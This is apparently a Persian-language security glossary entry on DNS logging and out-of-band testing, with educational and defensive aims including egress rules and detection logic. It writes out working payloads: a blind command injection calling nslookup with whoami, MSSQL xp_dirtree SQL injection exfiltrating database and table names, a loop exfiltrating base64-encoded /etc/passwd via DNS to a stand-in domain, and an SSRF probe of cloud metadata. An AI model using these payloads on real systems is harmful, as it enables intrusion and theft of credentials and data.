لاگ DNS
ثبت پرسوجوها و پاسخهای سیستم نام دامنه، نشاندهنده اینکه چه نامهای دامنهای جستجو شدهاند، چه زمانی و توسط چه کسی. در تست امنیتی برای تشخیص آسیبپذیریهای کور استفاده میشود.
تعریف کوتاه
لاگهای DNS نشان میدهند چه نامهای دامنهای جستجو شدهاند. در تست امنیتی، شما از سرور DNS خود استفاده میکنید و لاگهای آن را تماشا میکنید. وقتی سرور هدف your-unique-id.your-domain.com را جستجو میکند، آن جستجو در لاگها ظاهر میشود و ثابت میکند بهرهبرداری شما کار کرده است حتی اگر نمیتوانید خروجی مستقیم ببینید.
تعریف کامل
لاگهای DNS رکوردهایی از درخواستها و پاسخهای رزولوشن DNS هستند که پرسوجوهای انجام شده توسط سیستمها هنگام ترجمه نام دامنه به آدرسهای IP را ثبت میکنند.
آنچه لاگهای DNS شامل میشوند:
- زمانمهر پرسوجو
- IP منبع (چه کسی پرسید)
- دامنه پرسوجو شده
- نوع پرسوجو (A، AAAA، TXT و غیره)
- پاسخ داده شده
- زمان پاسخ
نمونه ورود لاگ DNS:
12026-02-26 10:30:45 | منبع: 192.168.1.100 | پرسوجو: api.example.com | نوع: A | پاسخ: 93.184.216.34
در تست امنیتی:
راهاندازی لاگر DNS خود:
1your-domain.com → سرور VPS/DNS شما
در طول تستها، از زیردامنه منحصر به فرد استفاده کنید:
1test-abc123.your-domain.com
وقتی هدف آن را جستجو میکند، لاگ نشان میدهد:
1پرسوجو از 54.12.34.56 برای test-abc123.your-domain.com
ابزارهای محبوب:
- interactsh
- Burp Collaborator
- RequestBin
- سرورهای DNS سفارشی (dnslib, python)
چرا مهم است
برای تست امنیتی:
- آسیبپذیریهای کور را بدون خروجی مستقیم تشخیص میدهد
- بهرهبرداری را در محیطهای فیلتر شده تأیید میکند
- زمانی که درخواستهای HTTP مسدود هستند کار میکند
- WAF و فیلترینگ را دور میزند
- داده را از طریق کدگذاری زیردامنه تخلیه میکند
برای مدافعان:
- تلاشهای تخلیه داده را تشخیص میدهد
- سیستمهای به خطر افتاده را شناسایی میکند
- ارتباط C2 را نظارت میکند
- اتصالات خارجی غیرمجاز را پیدا میکند
چگونه مهاجمان از آن استفاده میکنند (و تست اخلاقی)
تأیید SSRF کور:
1# بار تست2POST /api/image-fetch3{"url": "http://ssrf-test-xyz.your-domain.com/image.jpg"}45# بررسی لاگهای DNS روی سرور شما6$ tail -f /var/log/dns-queries.log7پرسوجو از 52.1.2.3: ssrf-test-xyz.your-domain.com8# SSRF تأیید شد! سرور جستجوی DNS انجام داد
تخلیه داده از طریق DNS:
1# تزریق دستور کور2; nslookup `whoami`.data.your-domain.com34# لاگ DNS نشان میدهد:5پرسوجو: root.data.your-domain.com6# نام کاربری تخلیه شده: root
SQL Injection OOB:
1-- تخلیه نام دیتابیس از طریق DNS2'; DECLARE @db VARCHAR(100);3SELECT @db = DB_NAME();4EXEC('master..xp_dirtree "\\' + @db + '.sqli.your-domain.com\a"');--56# لاگ DNS:7پرسوجو: production_db.sqli.your-domain.com8# نام دیتابیس: production_db
کدگذاری پرسوجوی چندگانه:
1# تخلیه فایل حساس2file_contents=$(cat /etc/passwd | base64)3for chunk in $(echo $file_contents | fold -w 50); do4 nslookup $chunk.exfil.your-domain.com5done67# لاگهای DNS فایل را در تکهها دریافت میکنند
راهاندازی لاگر DNS:
1# لاگر DNS ساده2from dnslib import DNSRecord, RR, QTYPE, A3from dnslib.server import DNSServer4import logging56logging.basicConfig(level=logging.INFO)78class DNSLogger:9 def resolve(self, request, handler):10 reply = request.reply()11 qname = request.q.qname1213 # ثبت پرسوجو14 logging.info(f"پرسوجوی DNS: {qname} از {handler.client_address[0]}")1516 # هر IP را برگردان (برای ثبت مهم نیست)17 reply.add_answer(RR(qname, QTYPE.A, rdata=A("1.2.3.4"), ttl=0))18 return reply1920server = DNSServer(DNSLogger(), port=53, address="0.0.0.0")21server.start()
چگونه تشخیص یا پیشگیری کنیم
پیشگیری (دفاعی):
کنترلهای شبکه:
1# مسدود کردن DNS خروجی به جز سرورهای مورد اعتماد2iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT3iptables -A OUTPUT -p udp --dport 53 -j DROP45# استفاده از فایروال DNS6# فقط سرورهای DNS سازمانی را مجاز کنید
نظارت بر الگوهای DNS:
1# هشدار در مورد الگوهای مشکوک2def analyze_dns_query(query):3 # زیردامنه به طور غیرعادی طولانی4 if len(query) > 100:5 alert("تخلیه داده احتمالی از طریق DNS")67 # زیردامنه تصادفی به نظر میرسد8 if contains_base64_or_hex(query):9 alert("داده کدگذاری شده در پرسوجوی DNS")1011 # دامنههای OOB شناخته شده12 if any(pattern in query for pattern in ['burpcollaborator', 'interact.sh']):13 alert("دامنه تست امنیتی شناخته شده")1415 # پرسوجوهای زیاد به یک دامنه ناشناخته16 if query_frequency(domain) > 100:17 alert("تونلزنی DNS احتمالی")
تشخیص (به عنوان تستکننده، تماشای لاگهای خود):
تحلیل آنچه میبینید:
1# بررسی لاگها2grep "پرسوجو:" /var/log/dns.log34# جستجوی الگوها:5- IP منبع = IP سیستم هدف؟ (تأیید میکند از هدف میآید)6- زمانبندی با تست شما مطابقت دارد؟ (همبستگی را تأیید میکند)7- فرمت زیردامنه با بار مطابقت دارد؟ (تأیید میکند کار کرده)
نظارت خودکار:
1# هشدار در مورد پرسوجوهای جدید2tail -f /var/log/dns.log | while read line; do3 echo "[$(date)] پرسوجوی DNS جدید شناسایی شد!"4 echo $line5 # ارسال اعلان6done
باورهای غلط رایج
- "ثبت DNS نیاز به راهاندازی خاص دارد" - برای اکثر سرورها استاندارد است
- "نمیتوان داده زیادی از طریق DNS تخلیه کرد" - ۲۵۵ کاراکتر در هر برچسب، پرسوجوهای متعدد
- "پرسوجوهای DNS رمزنگاری شده هستند" - معمولاً متن ساده (مگر DoH/DoT)
- "مسدود کردن HTTP همه چیز را مسدود میکند" - DNS اغلب هنوز مجاز است
- "لاگهای DNS مهم نیستند" - برای تشخیص بهرهبرداریهای کور حیاتی هستند
مثال واقعی
تخلیه DNS در حمله APT
1# بدافزار دادههای دزدیده شده را در پرسوجوهای DNS کدگذاری کرد2# الگوی دیده شده در لاگها:3454686973206973207365637265742064617461.exfil.attacker.com54d6f7265207365637265742064617461.exfil.attacker.com6...78# base64 رمزگشایی شد: "این داده مخفی است"9# گیگابایت داده در هفتهها از طریق DNS تخلیه شد
باگ بانتی - کشف SSRF کور
1# هدف: پلتفرم تجارت الکترونیک2# ویژگی: واکشی تصویر محصول از URL34# بار:5POST /admin/fetch-image6{"url": "http://ssrf-12345.researcher.com/image.jpg"}78# لاگ DNS روی VPS محقق:9[2026-02-26 10:30:12] پرسوجو از 54.xxx.xxx.xxx: ssrf-12345.researcher.com1011# SSRF کور تأیید شد!12# تست بیشتر با سرویس متادیتا:13{"url": "http://169.254.169.254/"}1415# اگر متادیتا قابل دسترسی باشد، لاگ DNS نشان میدهد:16# (برخی پیادهسازیها ابتدا پرسوجوی DNS انجام میدهند)
SQLi کور از طریق DNS
1-- سناریوی تست نفوذ واقعی2-- هدف: برنامه مراقبت بهداشتی3-- آسیبپذیری: تزریق SQL کور در پارامتر جستجو45-- بار:6search=test';7DECLARE @v VARCHAR(8000);8SET @v = (SELECT TOP 1 table_name FROM information_schema.tables);9EXEC('master..xp_dirtree "\\'+@v+'.sqli.tester.com\a"');--1011# لاگ DNS نشان داد:12پرسوجو: patients.sqli.tester.com1314-- تزریق SQL تأیید شد15-- نام جدول تخلیه شده: "patients"16-- پرسوجوهای بعدی اطلاعات حساس بیشتری استخراج کردند
اصطلاحات مرتبط
DNS, Out-of-Band, Blind SSRF, VPS, Data Exfiltration